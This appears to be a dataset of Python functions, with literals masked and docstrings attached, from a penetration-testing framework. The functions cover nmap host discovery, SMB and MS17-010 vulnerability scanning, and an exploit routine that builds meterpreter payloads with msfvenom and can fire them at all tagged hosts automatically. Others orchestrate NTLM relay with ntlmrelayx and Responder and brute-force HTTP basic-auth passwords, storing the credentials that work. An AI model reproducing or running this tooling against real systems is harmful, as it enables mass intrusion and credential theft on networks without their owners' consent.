domain_groups_file)<EOL>if user_count:<EOL><INDENT>print_success(\"<STR_LIT>\".format(user_count))<EOL>stats['<STR_LIT>'] = user_count<EOL><DEDENT><DEDENT>Logger().log(\"<STR_LIT>\", '<STR_LIT>'.format(user_count, computer_count), stats)<EOL>", "docstring": "Parses ldapdomaindump files and stores hosts and users in elasticsearch.", "id": "f7519:m6"}
{"signature": "def format():", "body": "argparser = argparse.ArgumentParser(description='<STR_LIT>')<EOL>argparser.add_argument('<STR_LIT>', metavar='<STR_LIT>', help='<STR_LIT>', nargs='<STR_LIT:?>')<EOL>arguments = argparser.parse_args()<EOL>service_style = \"<STR_LIT>\"<EOL>host_style = \"<STR_LIT>\"<EOL>ranges_style = \"<STR_LIT>\"<EOL>users_style = \"<STR_LIT>\"<EOL>if arguments.format:<EOL><INDENT>format_input(arguments.format)<EOL><DEDENT>else:<EOL><INDENT>doc_mapper = DocMapper()<EOL>if doc_mapper.is_pipe:<EOL><INDENT>for obj in doc_mapper.get_pipe():<EOL><INDENT>style = '<STR_LIT>'<EOL>if isinstance(obj, Range):<EOL><INDENT>style = ranges_style<EOL><DEDENT>elif isinstance(obj, Host):<EOL><INDENT>style = host_style<EOL><DEDENT>elif isinstance(obj, Service):<EOL><INDENT>style = service_style<EOL><DEDENT>elif isinstance(obj, User):<EOL><INDENT>style = users_style<EOL><DEDENT>print_line(fmt.format(style, **obj.to_dict(include_meta=True)))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print_error(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Formats the output of another tool in the given way.\nHas default styles for ranges, hosts and services.", "id": "f7520:m2"}
{"signature": "def check_service(service):", "body": "<EOL>service.add_tag('<STR_LIT>')<EOL>http = False<EOL>try:<EOL><INDENT>result = requests.head('<STR_LIT>'.format(service.address, service.port), timeout=<NUM_LIT:1>)<EOL>print_success(\"<STR_LIT>\".format(service.address, service.port))<EOL>service.add_tag('<STR_LIT:http>')<EOL>http = True<EOL>try:<EOL><INDENT>service.banner = result.headers['<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>except (ConnectionError, ConnectTimeout, ReadTimeout, Error):<EOL><INDENT>pass<EOL><DEDENT>if not http:<EOL><INDENT>try:<EOL><INDENT>result = requests.head('<STR_LIT>'.format(service.address, service.port), verify=False, timeout=<NUM_LIT:3>)<EOL>service.add_tag('<STR_LIT>')<EOL>print_success(\"<STR_LIT>\".format(service.address, service.port))<EOL>try:<EOL><INDENT>service.banner = result.headers['<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>except (ConnectionError, ConnectTimeout, ReadTimeout, Error):<EOL><INDENT>pass<EOL><DEDENT><DEDENT>service.save()<EOL>", "docstring": "Connect to a service to see if it is a http or https server.", "id": "f7521:m0"}
{"signature": "def main():", "body": "search = ServiceSearch()<EOL>services = search.get_services(up=True, tags=['<STR_LIT>'])<EOL>print_notification(\"<STR_LIT>\".format(len(services)))<EOL>urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)<EOL>pool = Pool(<NUM_LIT:100>)<EOL>count = <NUM_LIT:0><EOL>for service in services:<EOL><INDENT>count += <NUM_LIT:1><EOL>if count % <NUM_LIT:50> == <NUM_LIT:0>:<EOL><INDENT>print_notification(\"<STR_LIT>\".format(count, len(services)))<EOL><DEDENT>pool.spawn(check_service, service)<EOL><DEDENT>pool.join()<EOL>print_notification(\"<STR_LIT>\")<EOL>", "docstring": "Retrieves services starts check_service in a gevent pool of 100.", "id": "f7521:m1"}
{"signature": "def overview():", "body": "range_search = RangeSearch()<EOL>ranges = range_search.get_ranges()<EOL>if ranges:<EOL><INDENT>formatted_ranges = []<EOL>tags_lookup = {}<EOL>for r in ranges:<EOL><INDENT>formatted_ranges.append({'<STR_LIT>': r.range})<EOL>tags_lookup[r.range] = r.tags<EOL><DEDENT>search = Host.search()<EOL>search = search.filter('<STR_LIT>', status='<STR_LIT>')<EOL>search.aggs.bucket('<STR_LIT>', '<STR_LIT>', field='<STR_LIT:address>', ranges=formatted_ranges)<EOL>response = search.execute()<EOL>print_line(\"<STR_LIT>\".format(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"))<EOL>print_line(\"<STR_LIT:->\" * <NUM_LIT>)<EOL>for entry in response.aggregations.hosts.buckets:<EOL><INDENT>print_line(\"<STR_LIT>\".format(entry.key, entry.doc_count, tags_lookup[entry.key]))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print_error(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Creates a overview of the hosts per range.", "id": "f7523:m1"}
{"signature": "def overview():", "body": "search = Service.search()<EOL>search = search.filter(\"<STR_LIT>\", state='<STR_LIT>')<EOL>search.aggs.bucket('<STR_LIT>', '<STR_LIT>', field='<STR_LIT:port>', order={'<STR_LIT>': '<STR_LIT>'}, size=<NUM_LIT:100>).metric('<STR_LIT>', '<STR_LIT>', field='<STR_LIT:address>')<EOL>response = search.execute()<EOL>print_line(\"<STR_LIT>\")<EOL>print_line(\"<STR_LIT>\")<EOL>for entry in response.aggregations.port_count.buckets:<EOL><INDENT>print_line(\"<STR_LIT>\".format(entry.key, entry.unique_count.value))<EOL><DEDENT>", "docstring": "Function to create an overview of the services.\nWill print a list of ports found an the number of times the port was seen.", "id": "f7526:m1"}
{"signature": "def overview():", "body": "doc = Host()<EOL>search = doc.search()<EOL>search.aggs.bucket('<STR_LIT>', '<STR_LIT>', field='<STR_LIT>', order={'<STR_LIT>': '<STR_LIT>'}, size=<NUM_LIT:100>)<EOL>response = search.execute()<EOL>print_line(\"<STR_LIT>\".format('<STR_LIT>', '<STR_LIT>'))<EOL>print_line(\"<STR_LIT:->\" * <NUM_LIT:30>)<EOL>for entry in response.aggregations.tag_count.buckets:<EOL><INDENT>print_line(\"<STR_LIT>\".format(entry.key, entry.doc_count))<EOL><DEDENT>", "docstring": "Prints an overview of the tags of the hosts.", "id": "f7528:m1"}
{"signature": "def setup(self):", "body": "lport64 = self.port64<EOL>lport32 = self.port32<EOL>print_notification(\"<STR_LIT>\".format(self.ip))<EOL>print_notification(\"<STR_LIT>\")<EOL>resource =", "docstring": "This function will call msfvenom, nasm and git via subprocess to setup all the things.\nReturns True if everything went well, otherwise returns False.", "id": "f7529:c0:m1"}
{"signature": "def create_payload(self, x86_file, x64_file, payload_file):", "body": "sc_x86 = open(os.path.join(self.datadir, x86_file), '<STR_LIT:rb>').read()<EOL>sc_x64 = open(os.path.join(self.datadir, x64_file), '<STR_LIT:rb>').read()<EOL>fp = open(os.path.join(self.datadir, payload_file), '<STR_LIT:wb>')<EOL>fp.write(b'<STR_LIT>' + pack('<STR_LIT>', len(sc_x86)))<EOL>fp.write(sc_x86)<EOL>fp.write(sc_x64)<EOL>fp.close()<EOL>", "docstring": "Creates the final payload based on the x86 and x64 meterpreters.", "id": "f7529:c0:m2"}
{"signature": "def combine_files(self, f1, f2, f3):", "body": "with open(os.path.join(self.datadir, f3), '<STR_LIT:wb>') as new_file:<EOL><INDENT>with open(os.path.join(self.datadir, f1), '<STR_LIT:rb>') as file_1:<EOL><INDENT>new_file.write(file_1.read())<EOL><DEDENT>with open(os.path.join(self.datadir, f2), '<STR_LIT:rb>') as file_2:<EOL><INDENT>new_file.write(file_2.read())<EOL><DEDENT><DEDENT>", "docstring": "Combines the files 1 and 2 into 3.", "id": "f7529:c0:m3"}
{"signature": "def detect_os(self, ip):", "body": "process = subprocess.run(['<STR_LIT>', os.path.join(self.datadir, '<STR_LIT>', '<STR_LIT>'), str(ip)], stdout=subprocess.PIPE)<EOL>out = process.stdout.decode('<STR_LIT:utf-8>').split('<STR_LIT:\\n>')<EOL>system_os = '<STR_LIT>'<EOL>for line in out:<EOL><INDENT>if line.startswith('<STR_LIT>'):<EOL><INDENT>system_os = line.replace('<STR_LIT>', '<STR_LIT>')<EOL>break<EOL><DEDENT><DEDENT>return system_os<EOL>", "docstring": "Runs the checker.py scripts to detect the os.", "id": "f7529:c0:m4"}
{"signature": "def exploit(self):", "body": "search = ServiceSearch()<EOL>host_search = HostSearch()<EOL>services = search.get_services(tags=['<STR_LIT>'])<EOL>services = [service for service in services]<EOL>if len(services) == <NUM_LIT:0>:<EOL><INDENT>print_error(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>if self.auto:<EOL><INDENT>print_success(\"<STR_LIT>\".format(len(services)))<EOL>for service in services:<EOL><INDENT>print_success(\"<STR_LIT>\" + str(service.address))<EOL>host = host_search.id_to_object(str(service.address))<EOL>system_os = '<STR_LIT>'<EOL>if host.os:<EOL><INDENT>system_os = host.os<EOL><DEDENT>else:<EOL><INDENT>system_os = self.detect_os(str(service.address))<EOL>host.os = system_os<EOL>host.save()<EOL><DEDENT>text = self.exploit_single(str(service.address), system_os)<EOL>print_notification(text)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>service_list = []<EOL>for service in services:<EOL><INDENT>host = host_search.id_to_object(str(service.address))<EOL>system_os = '<STR_LIT>'<EOL>if host.os:<EOL><INDENT>system_os = host.os<EOL><DEDENT>else:<EOL><INDENT>system_os = self.detect_os(str(service.address))<EOL>host.os = system_os<EOL>host.save()<EOL><DEDENT>service_list.append({'<STR_LIT>': service.address, '<STR_LIT>': system_os, '<STR_LIT:string>': \"<STR_LIT>\".format(ip=service.address, os=system_os, hostname=host.hostname)})<EOL><DEDENT>draw_interface(service_list, self.callback, \"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Starts the exploiting phase, you should run setup before running this function.\nif auto is set, this function will fire the exploit to all systems. Otherwise a curses interface is shown.", "id": "f7529:c0:m5"}
{"signature": "def callback(self, service):", "body": "return self.exploit_single(service['<STR_LIT>'], service['<STR_LIT>'])<EOL>", "docstring": "Callback for curses, will call exploit_single with the right arguments.", "id": "f7529:c0:m6"}
{"signature": "def exploit_single(self, ip, operating_system):", "body": "result = None<EOL>if \"<STR_LIT>\" in operating_system or \"<STR_LIT>\" in operating_system:<EOL><INDENT>result = subprocess.run(['<STR_LIT>', os.path.join(self.datadir, '<STR_LIT>', '<STR_LIT>'), str(ip), os.path.join(self.datadir, '<STR_LIT>'), \"<STR_LIT>\"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)<EOL><DEDENT>elif \"<STR_LIT>\" in operating_system or \"<STR_LIT>\" in operating_system or \"<STR_LIT>\" in operating_system:<EOL><INDENT>result = subprocess.run(['<STR_LIT>', os.path.join(self.datadir, '<STR_LIT>', '<STR_LIT>'), str(ip), os.path.join(self.datadir, '<STR_LIT>'), \"<STR_LIT>\"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)<EOL><DEDENT>else:<EOL><INDENT>return [\"<STR_LIT>\"]<EOL><DEDENT>return result.stdout.decode('<STR_LIT:utf-8>').split('<STR_LIT:\\n>')<EOL>", "docstring": "Exploits a single ip, exploit is based on the given operating system.", "id": "f7529:c0:m7"}
{"signature": "def all_hosts(*args, **kwargs):", "body": "return True<EOL>", "docstring": "Returns true for all nmap hosts", "id": "f7530:m0"}
{"signature": "def import_nmap(result, tag, check_function=all_hosts, import_services=False):", "body": "host_search = HostSearch(arguments=False)<EOL>service_search = ServiceSearch()<EOL>parser = NmapParser()<EOL>report = parser.parse_fromstring(result)<EOL>imported_hosts = <NUM_LIT:0><EOL>imported_services = <NUM_LIT:0><EOL>for nmap_host in report.hosts:<EOL><INDENT>if check_function(nmap_host):<EOL><INDENT>imported_hosts += <NUM_LIT:1><EOL>host = host_search.id_to_object(nmap_host.address)<EOL>host.status = nmap_host.status<EOL>host.add_tag(tag)<EOL>if nmap_host.os_fingerprinted:<EOL><INDENT>host.os = nmap_host.os_fingerprint<EOL><DEDENT>if nmap_host.hostnames:<EOL><INDENT>host.hostname.extend(nmap_host.hostnames)<EOL><DEDENT>if import_services:<EOL><INDENT>for service in nmap_host.services:<EOL><INDENT>imported_services += <NUM_LIT:1><EOL>serv = Service(**service.get_dict())<EOL>serv.address = nmap_host.address<EOL>service_id = service_search.object_to_id(serv)<EOL>if service_id:<EOL><INDENT>serv_old = Service.get(service_id)<EOL>if service.banner:<EOL><INDENT>serv_old.banner = service.banner<EOL><DEDENT>serv_old.save()<EOL><DEDENT>else:<EOL><INDENT>serv.address = nmap_host.address<EOL>serv.save()<EOL><DEDENT>if service.state == '<STR_LIT>':<EOL><INDENT>host.open_ports.append(service.port)<EOL><DEDENT>if service.state == '<STR_LIT>':<EOL><INDENT>host.closed_ports.append(service.port)<EOL><DEDENT>if service.state == '<STR_LIT>':<EOL><INDENT>host.filtered_ports.append(service.port)<EOL><DEDENT><DEDENT><DEDENT>host.save()<EOL><DEDENT><DEDENT>if imported_hosts:<EOL><INDENT>print_success(\"<STR_LIT>\".format(imported_hosts, tag))<EOL><DEDENT>else:<EOL><INDENT>print_error(\"<STR_LIT>\")<EOL><DEDENT>return {'<STR_LIT>': imported_hosts, '<STR_LIT>': imported_services}<EOL>", "docstring": "Imports the given nmap result.", "id": "f7530:m2"}
{"signature": "def include_hostnames(nmap_host):", "body": "if nmap_host.hostnames:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Function to filter out hosts with hostnames", "id": "f7530:m3"}
{"signature": "def include_up_hosts(nmap_host):", "body": "if nmap_host.status == '<STR_LIT>':<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Includes only hosts that have the status 'up'", "id": "f7530:m4"}
{"signature": "def nmap(nmap_args, ips):", "body": "config = Config()<EOL>arguments = ['<STR_LIT>', '<STR_LIT>']<EOL>arguments.extend(ips)<EOL>arguments.extend(nmap_args)<EOL>output_file = '<STR_LIT>'<EOL>now = datetime.datetime.now()<EOL>if not '<STR_LIT>' in nmap_args:<EOL><INDENT>output_name = '<STR_LIT>'.format(now.strftime(\"<STR_LIT>\"))<EOL>path_name = os.path.join(config.get('<STR_LIT>', '<STR_LIT>'), output_name)<EOL>print_notification(\"<STR_LIT>\".format(path_name))<EOL>if not os.path.exists(config.get('<STR_LIT>', '<STR_LIT>')):<EOL><INDENT>os.makedirs(config.get('<STR_LIT>', '<STR_LIT>'))<EOL><DEDENT>output_file = path_name + '<STR_LIT>'<EOL>arguments.extend(['<STR_LIT>', path_name])<EOL><DEDENT>else:<EOL><INDENT>output_file = nmap_args[nmap_args.index('<STR_LIT>') + <NUM_LIT:1>] + '<STR_LIT>'<EOL><DEDENT>print_notification(\"<STR_LIT>\")<EOL>subprocess.call(arguments)<EOL>with open(output_file, '<STR_LIT:r>') as f:<EOL><INDENT>return f.read()<EOL><DEDENT>", "docstring": "Start an nmap process with the given args on the given ips.", "id": "f7530:m5"}
{"signature": "def nmap_discover():", "body": "rs = RangeSearch()<EOL>rs_parser = rs.argparser<EOL>arg = argparse.ArgumentParser(parents=[rs_parser], conflict_handler='<STR_LIT>')<EOL>arg.add_argument('<STR_LIT:type>', metavar='<STR_LIT:type>',help='<STR_LIT>',type=str, choices=['<STR_LIT>', '<STR_LIT>'])<EOL>arguments, nmap_args = arg.parse_known_args()<EOL>tag = None<EOL>if arguments.type == '<STR_LIT>':<EOL><INDENT>tag = '<STR_LIT>'<EOL>nmap_args.append('<STR_LIT>')<EOL>nmap_args.append('<STR_LIT>')<EOL>check_function = include_up_hosts<EOL><DEDENT>elif arguments.type == '<STR_LIT>':<EOL><INDENT>tag = '<STR_LIT>'<EOL>nmap_args.append('<STR_LIT>')<EOL>check_function = include_hostnames<EOL><DEDENT>ranges = rs.get_ranges(tags=['<STR_LIT>'.format(tag)])<EOL>ranges = [r for r in ranges]<EOL>ips = []<EOL>for r in ranges:<EOL><INDENT>ips.append(r.range)<EOL><DEDENT>print_notification(\"<STR_LIT>\".format(nmap_args, len(ips)))<EOL>result = nmap(nmap_args, ips)<EOL>stats = import_nmap(result, tag, check_function)<EOL>stats['<STR_LIT>'] = len(ips)<EOL>Logger().log('<STR_LIT>', \"<STR_LIT>\".format(nmap_args, len(ips)), stats)<EOL>for r in ranges:<EOL><INDENT>r.add_tag(tag)<EOL>r.save()<EOL><DEDENT>", "docstring": "This function retrieves ranges from jackal\nUses two functions of nmap to find hosts:\n    ping:   icmp / arp pinging of targets\n    lookup: reverse dns lookup", "id": "f7530:m6"}
{"signature": "def nmap_scan():", "body": "<EOL>hs = HostSearch()<EOL>config = Config()<EOL>nmap_types = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:all>']<EOL>options = {'<STR_LIT>':'<STR_LIT>', '<STR_LIT>':'<STR_LIT>', '<STR_LIT>': config.get('<STR_LIT>', '<STR_LIT>'), '<STR_LIT>': '<STR_LIT>', '<STR_LIT:all>': '<STR_LIT>'}<EOL>hs_parser = hs.argparser<EOL>argparser = argparse.ArgumentParser(parents=[hs_parser], conflict_handler='<STR_LIT>',description=\"<STR_LIT>\")<EOL>argparser.add_argument('<STR_LIT:type>', metavar='<STR_LIT:type>',help='<STR_LIT>',type=str, choices=nmap_types, default='<STR_LIT>', const='<STR_LIT>', nargs='<STR_LIT:?>')<EOL>arguments, extra_nmap_args = argparser.parse_known_args()<EOL>tags = nmap_types[nmap_types.index(arguments.type):]<EOL>tags = [\"<STR_LIT>\" + tag  for tag in tags]<EOL>hosts = hs.get_hosts(tags=tags)<EOL>hosts = [host for host in hosts]<EOL>nmap_args = []<EOL>nmap_args.extend(extra_nmap_args)<EOL>nmap_args.extend(options[arguments.type].split('<STR_LIT:U+0020>'))<EOL>print_notification(\"<STR_LIT>\".format(nmap_args, len(hosts)))<EOL>if len(hosts):<EOL><INDENT>result = nmap(nmap_args, [str(h.address) for h in hosts])<EOL>for host in hosts:<EOL><INDENT>host.add_tag(\"<STR_LIT>\".format(arguments.type))<EOL>host.save()<EOL><DEDENT>print_notification(\"<STR_LIT>\")<EOL>stats = import_nmap(result, \"<STR_LIT>\".format(arguments.type), check_function=all_hosts, import_services=True)<EOL>stats['<STR_LIT>'] = len(hosts)<EOL>stats['<STR_LIT:type>'] = arguments.type<EOL>Logger().log('<STR_LIT>', \"<STR_LIT>\".format(arguments.type, len(hosts)), stats)<EOL><DEDENT>else:<EOL><INDENT>print_notification(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Scans the given hosts with nmap.", "id": "f7530:m7"}
{"signature": "def nmap_smb_vulnscan():", "body": "service_search = ServiceSearch()<EOL>services = service_search.get_services(ports=['<STR_LIT>'], tags=['<STR_LIT>'], up=True)<EOL>services = [service for service in services]<EOL>service_dict = {}<EOL>for service in services:<EOL><INDENT>service.add_tag('<STR_LIT>')<EOL>service_dict[str(service.address)] = service<EOL><DEDENT>nmap_args = \"<STR_LIT>\".split(\"<STR_LIT:U+0020>\")<EOL>if services:<EOL><INDENT>result = nmap(nmap_args, [str(s.address) for s in services])<EOL>parser = NmapParser()<EOL>report = parser.parse_fromstring(result)<EOL>smb_signing = <NUM_LIT:0><EOL>ms17 = <NUM_LIT:0><EOL>for nmap_host in report.hosts:<EOL><INDENT>for script_result in nmap_host.scripts_results:<EOL><INDENT>script_result = script_result.get('<STR_LIT>', {})<EOL>service = service_dict[str(nmap_host.address)]<EOL>if script_result.get('<STR_LIT>', '<STR_LIT>') == '<STR_LIT>':<EOL><INDENT>print_success(\"<STR_LIT>\".format(nmap_host.address))<EOL>service.add_tag('<STR_LIT>')<EOL>smb_signing += <NUM_LIT:1><EOL><DEDENT>if script_result.get('<STR_LIT>', {}).get('<STR_LIT:state>', '<STR_LIT>') == '<STR_LIT>':<EOL><INDENT>print_success(\"<STR_LIT>\".format(nmap_host.address))<EOL>service.add_tag('<STR_LIT>')<EOL>ms17 += <NUM_LIT:1><EOL><DEDENT>service.update(tags=service.tags)<EOL><DEDENT><DEDENT>print_notification(\"<STR_LIT>\")<EOL>stats = {'<STR_LIT>': smb_signing, '<STR_LIT>': ms17, '<STR_LIT>': len(services)}<EOL>Logger().log('<STR_LIT>', '<STR_LIT>'.format(len(services)), stats)<EOL><DEDENT>else:<EOL><INDENT>print_notification(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Scans available smb services in the database for smb signing and ms17-010.", "id": "f7530:m8"}
{"signature": "def os_discovery():", "body": "hs = HostSearch()<EOL>hosts = hs.get_hosts(ports=[<NUM_LIT>], tags=['<STR_LIT>'])<EOL>hosts = [host for host in hosts if not host.os]<EOL>host_dict = {}<EOL>for host in hosts:<EOL><INDENT>host_dict[str(host.address)] = host<EOL><DEDENT>arguments = \"<STR_LIT>\".split('<STR_LIT:U+0020>')<EOL>if len(hosts):<EOL><INDENT>count = <NUM_LIT:0><EOL>print_notification(\"<STR_LIT>\".format(len(hosts)))<EOL>result = nmap(arguments, [str(h.address) for h in hosts])<EOL>parser = NmapParser()<EOL>report = parser.parse_fromstring(result)<EOL>for nmap_host in report.hosts:<EOL><INDENT>for script_result in nmap_host.scripts_results:<EOL><INDENT>script_result = script_result.get('<STR_LIT>', {})<EOL>host = host_dict[str(nmap_host.address)]<EOL>if '<STR_LIT>' in script_result:<EOL><INDENT>host.hostname.append(script_result['<STR_LIT>'])<EOL><DEDENT>if '<STR_LIT>' in script_result:<EOL><INDENT>count += <NUM_LIT:1><EOL>host.os = script_result['<STR_LIT>']<EOL><DEDENT>host_dict[str(nmap_host.address)] = host<EOL><DEDENT><DEDENT>for host in hosts:<EOL><INDENT>host.add_tag('<STR_LIT>')<EOL>host.save()<EOL><DEDENT>print_notification(\"<STR_LIT>\".format(count))<EOL><DEDENT>else:<EOL><INDENT>print_notification(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Performs os (and domain) discovery of smb hosts.", "id": "f7530:m9"}
{"signature": "def get_interface_name():", "body": "interface_name = '<STR_LIT>'<EOL>interfaces = psutil.net_if_addrs()<EOL>for name, details in interfaces.items():<EOL><INDENT>for detail in details:<EOL><INDENT>if detail.family == socket.AF_INET:<EOL><INDENT>ip_address = ipaddress.ip_address(detail.address)<EOL>if not (ip_address.is_link_local or ip_address.is_loopback):<EOL><INDENT>interface_name = name<EOL>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return interface_name<EOL>", "docstring": "Returns the interface name of the first not link_local and not loopback interface.", "id": "f7531:m1"}
{"signature": "def load_targets(self):", "body": "ldap_services = []<EOL>if self.ldap:<EOL><INDENT>ldap_services = self.search.get_services(ports=[<NUM_LIT>], up=True)<EOL><DEDENT>self.ldap_strings = [\"<STR_LIT>\".format(service.address) for service in ldap_services]<EOL>self.services = self.search.get_services(tags=['<STR_LIT>'])<EOL>self.ips = [str(service.address) for service in self.services]<EOL>", "docstring": "load_targets will load the services with smb signing disabled and if ldap is enabled the services with the ldap port open.", "id": "f7531:c0:m1"}
{"signature": "def write_targets(self):", "body": "if len(self.ldap_strings) == <NUM_LIT:0> and len(self.ips) == <NUM_LIT:0>:<EOL><INDENT>print_notification(\"<STR_LIT>\")<EOL>if self.auto_exit:<EOL><INDENT>if self.notifier:<EOL><INDENT>self.notifier.stop()<EOL><DEDENT>self.terminate_processes()<EOL><DEDENT><DEDENT>with open(self.targets_file, '<STR_LIT:w>') as f:<EOL><INDENT>f.write('<STR_LIT:\\n>'.join(self.ldap_strings + self.ips))<EOL><DEDENT>", "docstring": "write_targets will write the contents of ips and ldap_strings to the targets_file.", "id": "f7531:c0:m2"}
{"signature": "def start_processes(self):", "body": "self.relay = subprocess.Popen(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', self.targets_file, '<STR_LIT>', '<STR_LIT>', self.directory, '<STR_LIT>', self.output_file], cwd=self.directory)<EOL>self.responder = subprocess.Popen(['<STR_LIT>', '<STR_LIT>', self.interface_name])<EOL>", "docstring": "Starts the ntlmrelayx.py and responder processes.\nAssumes you have these programs in your path.", "id": "f7531:c0:m3"}
{"signature": "def callback(self, event):", "body": "<EOL>if event.mask == <NUM_LIT>:<EOL><INDENT>if event.name.endswith('<STR_LIT>'):<EOL><INDENT>print_success(\"<STR_LIT>\")<EOL>if event.name in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>if event.name == '<STR_LIT>':<EOL><INDENT>self.domain_groups_file = event.pathname<EOL><DEDENT>if event.name == '<STR_LIT>':<EOL><INDENT>self.domain_users_file = event.pathname<EOL><DEDENT>if self.domain_groups_file and self.domain_users_file:<EOL><INDENT>print_success(\"<STR_LIT>\")<EOL>subprocess.Popen(['<STR_LIT>', self.domain_groups_file, self.domain_users_file])<EOL><DEDENT><DEDENT>elif event.name == '<STR_LIT>':<EOL><INDENT>print_success(\"<STR_LIT>\")<EOL>subprocess.Popen(['<STR_LIT>', event.pathname])<EOL><DEDENT>self.ldap_strings = []<EOL>self.write_targets()<EOL><DEDENT>if event.name.endswith('<STR_LIT>'):<EOL><INDENT>host = event.name.replace('<STR_LIT>', '<STR_LIT>')<EOL>print_success(\"<STR_LIT>\".format(host))<EOL>subprocess.Popen(['<STR_LIT>', event.pathname])<EOL>self.ips.remove(host)<EOL>self.write_targets()<EOL><DEDENT><DEDENT>", "docstring": "Function that gets called on each event from pyinotify.", "id": "f7531:c0:m4"}
{"signature": "def watch(self):", "body": "wm = pyinotify.WatchManager()<EOL>self.notifier = pyinotify.Notifier(wm, default_proc_fun=self.callback)<EOL>wm.add_watch(self.directory, pyinotify.ALL_EVENTS)<EOL>try:<EOL><INDENT>self.notifier.loop()<EOL><DEDENT>except (KeyboardInterrupt, AttributeError):<EOL><INDENT>print_notification(\"<STR_LIT>\")<EOL><DEDENT>finally:<EOL><INDENT>self.notifier.stop()<EOL>self.terminate_processes()<EOL><DEDENT>", "docstring": "Watches directory for changes", "id": "f7531:c0:m5"}
{"signature": "def terminate_processes(self):", "body": "if self.relay:<EOL><INDENT>self.relay.terminate()<EOL><DEDENT>if self.responder:<EOL><INDENT>self.responder.terminate()<EOL><DEDENT>", "docstring": "Terminate the processes.", "id": "f7531:c0:m6"}
{"signature": "def wait(self):", "body": "try:<EOL><INDENT>self.relay.wait()<EOL>self.responder.wait()<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>print_notification(\"<STR_LIT>\")<EOL><DEDENT>finally:<EOL><INDENT>self.terminate_processes()<EOL><DEDENT>", "docstring": "This function waits for the relay and responding processes to exit.\nCaptures KeyboardInterrupt to shutdown these processes.", "id": "f7531:c0:m7"}
{"signature": "def brutefore_passwords(ip, url, credentials, service):", "body": "auth_requests = []<EOL>for credential in credentials:<EOL><INDENT>split = credential.strip().split('<STR_LIT::>')<EOL>username = split[<NUM_LIT:0>]<EOL>password = '<STR_LIT>'<EOL>if len(split) > <NUM_LIT:1>:<EOL><INDENT>password = split[<NUM_LIT:1>]<EOL><DEDENT>auth_requests.append(grequests.get(url, auth=(username, password)))<EOL><DEDENT>results = grequests.map(auth_requests)<EOL>for result in results:<EOL><INDENT>if result and result.status_code == <NUM_LIT:200>:<EOL><INDENT>creds = result.request.headers['<STR_LIT>'].split('<STR_LIT:U+0020>')[<NUM_LIT:1>]<EOL>creds = base64.b64decode(creds).decode('<STR_LIT:utf-8>')<EOL>creds = creds.split('<STR_LIT::>')<EOL>print_success(\"<STR_LIT>\".format(<EOL>creds[<NUM_LIT:0>], creds[<NUM_LIT:1>], url))<EOL>credential = Credential(secret=creds[<NUM_LIT:1>], username=creds[<NUM_LIT:0>], type='<STR_LIT>', access_level='<STR_LIT>', service_id=service.id, host_ip=ip, description='<STR_LIT>')<EOL>credential.save()<EOL><DEDENT><DEDENT>", "docstring": "Bruteforce function, will try all the credentials at the same time, splits the given credentials at a ':'.", "id": "f7532:m0"}
{"signature": "def main():", "body": "services = ServiceSearch()<EOL>argparse = services.argparser<EOL>argparse.add_argument('<STR_LIT>', '<STR_LIT>', type=str, help=\"<STR_LIT>\")<EOL>arguments = argparse.parse_args()<EOL>if not arguments.file:<EOL><INDENT>print_error(\"<STR_LIT>\")<EOL>sys.exit()<EOL><DEDENT>services = services.get_services(search=[\"<STR_LIT>\"], up=True, tags=['<STR_LIT>'])<EOL>credentials = []<EOL>with open(arguments.file, '<STR_LIT:r>') as f:<EOL><INDENT>credentials = f.readlines()<EOL><DEDENT>for service in services:<EOL><INDENT>print_notification(\"<STR_LIT>\".format(service.address, service.port))<EOL>url = '<STR_LIT>'<EOL>gevent.spawn(brutefore_passwords, service.address, url.format(service.address, service.port), credentials, service)<EOL>service.add_tag('<STR_LIT>')<EOL>service.update(tags=service.tags)<EOL><DEDENT>gevent.wait()<EOL>Logger().log(\"<STR_LIT>\", \"<STR_LIT>\", {'<STR_LIT>': len(services)})<EOL>", "docstring": "Checks the arguments to brutefore and spawns greenlets to perform the bruteforcing.", "id": "f7532:m1"}
{"signature": "def initialize_indices():", "body": "Host.init()<EOL>Range.init()<EOL>Service.init()<EOL>User.init()<EOL>Credential.init()<EOL>Log.init()<EOL>", "docstring": "Initializes the indices", "id": "f7533:m1"}
{"signature": "def pairwise(iterable):", "body": "a, b = itertools.tee(iterable)<EOL>next(b, None)<EOL>return six.moves.zip(a,b)<EOL>", "docstring": "s -> (s0,s1), (s1,s2), (s2, s3), ...", "id": "f7536:m16"}
{"signature": "def threewise(iterable):", "body": "a, b, c = itertools.tee(iterable,<NUM_LIT:3>)<EOL>def prepend(val, l):<EOL><INDENT>yield val<EOL>for i in l: yield i<EOL><DEDENT>def postpend(val, l):<EOL><INDENT>for i in l: yield i<EOL>yield val<EOL><DEDENT>next(c,None)<EOL>for _xa, _xb, _xc in six.moves.zip(prepend(None,a), b, postpend(None,c)):<EOL><INDENT>yield (_xa, _xb, _xc)<EOL><DEDENT>", "docstring": "s -> (None, s0, s1), (s0, s1, s2), ... (sn-1, sn, None)\n    example:\n    for (last, cur, next) in threewise(l):", "id": "f7536:m17"}
